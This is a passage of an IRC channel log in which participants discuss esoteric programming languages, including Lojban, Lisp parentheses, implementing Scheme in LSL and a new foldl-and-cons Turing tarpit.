#esoteric :mine mind of sense calculation "subject" in operator object closest making makes in < 1268273937 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :It's actually easier to read that right-to-left. < 1268273951 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :That's in RPN where the operands are reversed. < 1268273988 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :please try to synthesize some practical phrase using this rule < 1268274027 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION pukes on tinyrb source
< 1268274062 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Okay. < 1268274106 0 :cal153!unknown@unknown.invalid QUIT : < 1268274135 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :"The white dog barks at the frightened man", ignoring articles, becomes "man frightened dog white barks". < 1268274146 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :The adjectives being unary operators. < 1268274382 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :And the verbs being binary operators. < 1268274422 0 :cal153!~cal@c-69-181-46-213.hsd1.ca.comcast.net JOIN :#esoteric < 1268274464 0 :GreaseMonkey!~gm@unaffiliated/greasemonkey JOIN :#esoteric < 1268274589 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Besides, poetic English tends to violate the grammatical laws of spoken English. < 1268274637 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :But, yeah, "Bikes I ride" is an example of what I'm talking about. < 1268274733 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :A postfix notation in which the operands of binary operators are reversed, effectively creating an object-subject-verb structure. < 1268274739 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :That doesn't violate the grammatical laws of English, it merely uses one that hasn't been common for a few centuries. < 1268274749 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :It's archaic then. < 1268274753 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1268274766 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :It still parses fine, though. < 1268274781 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :I was considering making a language based on lambda calculus. < 1268274784 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :An example, give us. < 1268274809 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Or maybe combinatory logic. < 1268274816 0 :augur!~augur@c-68-54-80-152.hsd1.md.comcast.net JOIN :#esoteric < 1268274896 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :dev_squid: Lojban, then? < 1268274927 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :pikhq, I'm not entirely familiar with it, but I know it's hard to to parse mentally. :) < 1268274944 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :What's it have to do with lambda calculus. < 1268274949 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :? < 1268275064 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Lojban is based on predicate logic. < 1268275173 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1268275204 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :Lojban if pretty much f#$&*d up < 1268275419 0 :comex!comex@c-98-210-192-54.hsd1.ca.comcast.net JOIN :#esoteric < 1268275532 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I'm pretty sure Lojban has practically nothing to do with lambda calculus. < 1268275548 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :If you can find a single lambda expression in it anywhere, let me know. < 1268275583 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Where's alise? < 1268275607 0 :comex!unknown@unknown.invalid NICK :Network < 1268275637 0 :Network!unknown@unknown.invalid NICK :Guest83798 < 1268275668 0 :Guest83798!unknown@unknown.invalid NICK :comex < 1268275671 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :comex is attenuating. < 1268275675 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Never mind. < 1268275683 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: I wrote a SCHEME program today < 1268275705 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :How difficult would it be for me to make my own Scheme? < 1268275709 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :You know, as far as I can tell, Lojban is based on predicate logic to about the same extent that English is. < 1268275751 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :OOOOOH < 1268275751 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :BURN < 1268275758 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :English has verbs, which act as predicates; nouns, which act as arguments to them; and adjectives and adverbs, which modify those. < 1268275763 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence, to do what? < 1268275773 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Lojban has brivla, which act as predicates; brivla, which act as arguments to them; and brivla, which modify those. < 1268275786 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: It pretty prints MATH < 1268275790 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :in ASCII < 1268275826 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I suddenly feel an urge to capitalize all languages and language-like things. < 1268275873 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :lojban, more like loljban < 1268275874 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :har har < 1268275906 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Hardy har har. < 1268275930 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :If you think about it, though, language has a lot to do with mathematical notation. < 1268275943 0 :comex!unknown@unknown.invalid PRIVMSG #esoteric :that's because mathematical notation is based on language < 1268275944 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :well sure, it'd be more natural to express math in something familiar < 1268275948 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :There's a reason we write math the way we do. < 1268276010 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :IMHO, English makes very little sense as a language, as compared to other languages with more uniform notation. < 1268276066 0 :dev_squid!unknown@unknown.invalid PRIVMSG #esoteric :Postfix/prefix notation in math or language makes more sense. It eliminates the need to declare precedence...although declaring precedence may be easier to read. < 1268276160 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :You don't need to declare precedence to have infix notation so long as you also have parenthesis. < 1268276211 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :about scheme http://vimeo.com/4339116 < 1268276397 0 :coppro!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268276652 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I think the human brain simply doesn't like parentheses. < 1268276662 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Um, I love parentheses < 1268276667 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :for lispie lisp lisp < 1268276692 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :So when you're writing a long expression from beginning to end, do you intuitively know how many parentheses to put at the end? < 1268276732 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Yes < 1268276742 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Especially due to how I indent < 1268276758 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Do you know how many to put at the end when you don't indent that way? < 1268276765 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :When you use no line breaks at all? < 1268276785 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :I might have a slight feeling, but not definite. < 1268276803 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :I (think ((the (human brain)) (simply (doesn't (like parentheses < 1268276819 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :I think the human brain doesn't like clusterfucks of anything < 1268276820 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :After writing that, I had no idea how many parentheses to put at the end. Six, maybe? < 1268276829 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Also, I once had to go back and add a parenthesis. < 1268276927 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Oh, the human brain likes /certain/ kinds of clusterfucks ... < 1268276955 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: Well yes yes < 1268276958 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :yes of course < 1268277446 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence, are there any particular standards for what an event framework in Scheme should look like? < 1268277466 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :no < 1268277512 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION was thinking, until just a few seconds ago, of having, say, evt-listen take a promise as an argument
< 1268277521 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :But taking in a function makes more sense, really < 1268277659 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Actually, I can have delay simply be a macro written in pure Scheme, right? < 1268277676 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1268277967 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :So, my implementation might provide, say, an lle-listen, used like: < 1268278007 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :(lle-listen (lambda (chan name id msg) (ll-owner-say msg))) < 1268278033 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :What sort of macro would make using lle-listen simpler? < 1268278060 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :[Also, did I use lambda correctly?] < 1268278060 0 :zeotrope_!~zeotrope@bas3-kitchener06-1128734078.dsl.bell.ca JOIN :#esoteric < 1268278092 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :you used lambda fine < 1268278119 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :And it's hard to say what would make it simpler < 1268278166 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1268278179 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Aiee, a lambda expression taking arguments that don't appear in the body. < 1268278186 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :i'm a goddamn bat < 1268278195 0 :nooga!unknown@unknown.invalid PRIVMSG #esoteric :i work @ night and sleep @ day ;[ < 1268278203 0 :zeotrope!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1268278205 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :But lle-listen tells the implementation to call the function with four arguments < 1268278271 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Also, I'd have to convince users of a crappy C-like language to actually learn Scheme >.> < 1268278287 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :And hope that my implementation isn't too pathetically slow < 1268278308 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :What are you implementing? < 1268278332 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Scheme, in the crappy language known as LSL < 1268278350 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Ah, interesting problem here; < 1268278351 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :: < 1268278362 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :LSL has builtin types that act somewhat like objects < 1268278380 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :A "vector literal" is written as <0.0, 1.0, 2.0> for example < 1268278400 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :And if assigned to a variable my_vec, I can use my_vec.x, my_vec.y, my_vec.z < 1268278417 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I need to allow use of vectors in LSL-Scheme, and not have them be confused with Scheme vectors < 1268278457 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Similar with rotations, but once the vector problem is solved, rotations are close enough < 1268278472 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :There's also a thing called a key, but they're pretty much simple strings, so < 1268278677 0 :comex!unknown@unknown.invalid NICK :toast < 1268278722 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I have no clue how I'd implement closures < 1268278754 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Represent them as a function pointer and a closed-variable pointer, if possible. < 1268278769 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :If something vaguely similar isn't feasible, good luck. < 1268278772 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :No such thing as function pointers in LSL < 1268278784 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :For that matter, no such thing as pointers, perioud < 1268278787 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :*period < 1268278788 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :So, you can't reference a function? < 1268278795 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Correct < 1268278811 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Well, statically, you can call them. llSetPayPrice() works < 1268278825 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :... < 1268278827 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :But you can't store a function name or address or anything like that in a variable < 1268278841 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :And there are no multidimensional lists < 1268278844 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Good luck. < 1268278880 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Maybe there's a simpler language than Scheme that I can try to implement < 1268278897 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Uh. What you are going to do is pretend LSL is an assembly language. < 1268278927 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :You are going to be using a switch-statement-esque thing to implement functions, with a manual call stack. < 1268278945 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And you will implement data structures by treating an array as memory. < 1268278970 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :And you will do manual garbage collection. < 1268278970 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :This would be a *royal fucking pain*. < 1268279025 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :I may completely omit call/cc < 1268279055 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :For what it's worth, LSL arrays are heterogeneous [in a statically typed language] < 1268279134 0 :pikhq!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268279980 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Can let be written in terms of let*? < 1268280292 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268280511 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1268281603 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr2.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1268281841 0 :Gracenotes!~person@wikipedia/Gracenotes JOIN :#esoteric < 1268282253 0 :dev_squid!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1268282807 0 :pikhq!~pikhq@75-106-100-139.cust.wildblue.net JOIN :#esoteric < 1268284030 0 :coppro!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268284288 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268287708 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric : An interpreter for any language can be written in any TC language (as long as that TC language supports access to external resources that the language being interpreted uses). Is it possible to compile any language to any TC language? < 1268287708 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric : o.O trivially yes. It can just be an interpreter + the source in the language < 1268287708 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric : That shouldn't count. < 1268287708 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric : maybe you should specify "in polynomial time" < 1268288117 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Sgeo: you mean to rewrite it? < 1268288140 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :yeah, you can do interpreter + source < 1268288171 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :more direct translations are possible, but, dependending on the similarity of the languages, it may be more or less the same thing < 1268289387 0 :adu!unknown@unknown.invalid QUIT :Quit: adu < 1268291293 0 :dev_squid!~dev_squid@cpe-075-182-022-108.sc.res.rr.com JOIN :#esoteric < 1268292026 0 :dev_squid!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1268292291 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1268292384 0 :dev_squid!~dev_squid@cpe-075-182-022-108.sc.res.rr.com JOIN :#esoteric < 1268292730 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1268293894 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1268294399 0 :clog!unknown@unknown.invalid QUIT :ended < 1268294400 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1268294760 0 :coppro!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268295626 0 :dev_squid!unknown@unknown.invalid QUIT :Ping timeout: 246 seconds < 1268295793 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1268296738 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268298034 0 :zeotrope!~zeotrope@bas3-kitchener06-1096642086.dsl.bell.ca JOIN :#esoteric < 1268298116 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1268298157 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :lovers of stupidly named Turing tarpits! < 1268298160 0 :zeotrope_!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1268298165 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I think I created a new one, in my head, last night < 1268298974 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Misread that as "lovers of stupidity named Turing tarpits"; thought that a strange name for a group of people who love the stupid. < 1268299129 0 :GreaseMonkey!unknown@unknown.invalid QUIT :Quit: HydraIRC -> http://www.hydrairc.org <- Nobody cares enough to cybersquat it < 1268299200 0 :Asztal!~asztal@host86-162-148-4.range86-162.btcentralplus.com JOIN :#esoteric < 1268299579 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :anyway, the new one's called Confloddle < 1268299690 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's based around foldl and cons, which is amazingly enough to be TC by itself, I think < 1268299882 0 :Gracenotes!unknown@unknown.invalid PRIVMSG #esoteric :how could I live without you, bash -.- < 1268299940 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you could use zsh and tell it to emulate bash < 1268299994 0 :Gracenotes!unknown@unknown.invalid PRIVMSG #esoteric :I've ended up just executing bash in csh, the default shell of a FreeBSD server my school uses. < 1268300061 0 :Gracenotes!unknown@unknown.invalid PRIVMSG #esoteric :hum, confloddle has functions and pattern-matching? < 1268300072 0 :Gracenotes!unknown@unknown.invalid PRIVMSG #esoteric :or at least unconsing < 1268300092 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :no, and no < 1268300095 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's a tarpit < 1268300116 0 :Gracenotes!unknown@unknown.invalid PRIVMSG #esoteric :tarpits still need syntax for expressing things < 1268300121 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it has functions to the extent that C does, but only so that you can give foldl its argument < 1268300127 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :you can't actually execute them < 1268300139 0 :Gracenotes!unknown@unknown.invalid PRIVMSG #esoteric :yeah, I get that < 1268300191 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :anyway, syntax is reverse polish; : is cons, <> is foldl (with the function to fold on going inside the angle brackets; e represents the element, and r the return value from the previous element) < 1268300205 0 :Gracenotes!unknown@unknown.invalid PRIVMSG #esoteric :I'm trying to think of it in terms of lambda calculus, where a simplified foldl works on Church numerals nicely.. hm. < 1268300214 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and it always uses the null list as the initial argument < 1268300221 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :well, initial r < 1268300223 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :for the foldl < 1268300362 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :from that, you can start building up a more standard set of primitives < 1268300388 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :for instance, maps any list to the null list, so you can use, say, e to get a null list, which is how you get started in the first place < 1268300409 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric : returns the last element of a list, and reverses a list, so you can get the first element of a list with < 1268300716 0 :Gracenotes!unknown@unknown.invalid PRIVMSG #esoteric :what do the lists contain again? < 1268301458 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :other lists < 1268301462 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :there's nothing else for them to contain < 1268301503 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :but you don't get an infinite regress because the null list is legal < 1268301525 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :finally, to make the lang actually TC, you make the whole program a <> foldl call, and run it on an infinitely long list of null lists < 1268301550 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :which allows you to get one infinite loop, which is enough < 1268301753 0 :cal153!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268302278 0 :cal153!~cal@c-69-181-46-213.hsd1.ca.comcast.net JOIN :#esoteric < 1268308681 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :now all I need to do with this lang is spec it, implement it, and compile some TC lang to it < 1268309048 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268310843 0 :cheater!~cheater@62.176.155.187 JOIN :#esoteric < 1268311190 0 :cheater!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1268311207 0 :cheater!unknown@unknown.invalid PRIVMSG #esoteric :is there a functional version of b****fuck? < 1268311445 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Lazy K is the closest analogue. < 1268311666 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I would hardly call Lazy K a functional version of Brainfuck, but I suppose it's an equally evil functional language :P < 1268311899 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: It's the closest analogue, not "a functional Brainfuck". Because of course that makes no sense otherwise. :P < 1268311910 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :True. < 1268312271 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Are there any small languages that are actually enjoyable/useful to code in? Please try to understand the nature of my question before you tell me "i like brainfuck, that's enjoyable to code in" < 1268312281 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :I am talking about languages that actually can get stuff done. < 1268312329 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :i like brainfuck, that's enjoyable to code in < 1268313673 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I think Glass is a bit of a get-stuff-done language, and still enjoyable. It might not be quite what you were looking for, though. < 1268313696 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :There's a pleasant Forthish feel, though I guess that's just the stack. < 1268314098 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :"Just look! I just find manual how to login gmail account without ANY < 1268314098 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :username!" < 1268314894 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1268315221 0 :cheater2!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1268316097 0 :oklopol!~oklopol@a91-153-122-35.elisa-laajakaista.fi JOIN :#esoteric < 1268316237 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :o < 1268316237 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :o < 1268316237 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :o < 1268316237 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :o < 1268316238 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :o < 1268316238 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :o < 1268316238 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :o < 1268316239 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :o < 1268316239 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :o < 1268316240 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :o < 1268316242 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :^ MY o's < 1268316273 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :okokokokokokokokokokokoko < 1268316281 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :okokokokokokokokokokokokokokokokokoko < 1268316307 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :ok < 1268316322 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :being on just two courses is like being on vacation < 1268316336 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: befunge-93 is relatively small and useful < 1268316381 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :ais523: meh < 1268316630 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It's a bit hard to get anything large-scale done in such an unstructured language, though. < 1268316645 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :At least in Glass you can LEVERAGE the PRODUCTIVITY of the object-oriented ENTERPRISE paradigm. < 1268316682 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Thutu is also capable of having useful programs written in it, as long as they're the right sort of useful programs < 1268316688 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's TC, but much better at some things than others < 1268316694 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and you'd want to use a wimpmode for things like arithmetic < 1268317092 0 :Sgeo!unknown@unknown.invalid PRIVMSG #esoteric :Would using PSOX be considered such a wimpmode? < 1268317192 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's of a different nature, so I'd say no < 1268317200 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it's not a wimpmode, but a wrapper < 1268317211 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :wimpmode's when you change the syntax or semantics of a lang to make it slightly less awful < 1268317314 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :I wonder how small one can make a decent forth compiler in C < 1268319150 0 :oklopol!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1268321689 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1268321793 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1268322145 0 :MigoMipo!~migomipo@84-217-0-172.tn.glocalnet.net JOIN :#esoteric < 1268322624 0 :dev_squid!~dev_squid@cpe-075-182-022-108.sc.res.rr.com JOIN :#esoteric < 1268323624 0 :fax!~none@unaffiliated/fax JOIN :#esoteric < 1268323728 0 :toast!unknown@unknown.invalid NICK :comex < 1268324022 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1268324633 0 :augur!~augur@129-2-175-79.wireless.umd.edu JOIN :#esoteric < 1268324998 0 :coppro!unknown@unknown.invalid QUIT :Ping timeout: 256 seconds < 1268325265 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1268326405 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268326894 0 :coppro!unknown@unknown.invalid QUIT :Quit: I am leaving. You are about to explode. < 1268327812 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1268328347 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1268329593 0 :dev_squid!unknown@unknown.invalid QUIT :Quit: Leaving < 1268329751 0 :cheater2!~cheater@ip-80-226-230-128.vodafone-net.de JOIN :#esoteric < 1268330876 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: Brainfuck is actually quite useful, so long as you don't care about file descriptors other than 0 and 1. ;) < 1268330903 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :Yeah sure it is. < 1268330929 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :Quadrescence: have you looked at io? < 1268330936 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :yes < 1268330947 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :I don't remember much from when I looked though < 1268330958 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :i don't know if it's enjoyable or if it gets stuff done < 1268330965 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :but it's definitely pretty small < 1268330992 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :so are forth and factor and scheme i guess < 1268331010 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :like r5rs scheme is actually small < 1268331023 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :factor is just growing and bloating < 1268331031 0 :Quadrescence!unknown@unknown.invalid PRIVMSG #esoteric :forth is small, scheme is small < 1268331064 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :factor should be renamed product then < 1268331546 0 :sshc!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1268331560 0 :tuffm!~tuffm@dbs26.neoplus.adsl.tpnet.pl JOIN :#esoteric < 1268331578 0 :tuffm!unknown@unknown.invalid PART #esoteric :? < 1268331591 0 :tuffm!~tuffm@dbs26.neoplus.adsl.tpnet.pl JOIN :#esoteric < 1268331604 0 :tuffm!unknown@unknown.invalid PART #esoteric :? < 1268331614 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268332200 0 :sshc!~sshc@unaffiliated/sshc JOIN :#esoteric < 1268332848 0 :sshc_!~sshc@unaffiliated/sshc JOIN :#esoteric < 1268333110 0 :sshc!unknown@unknown.invalid QUIT :Ping timeout: 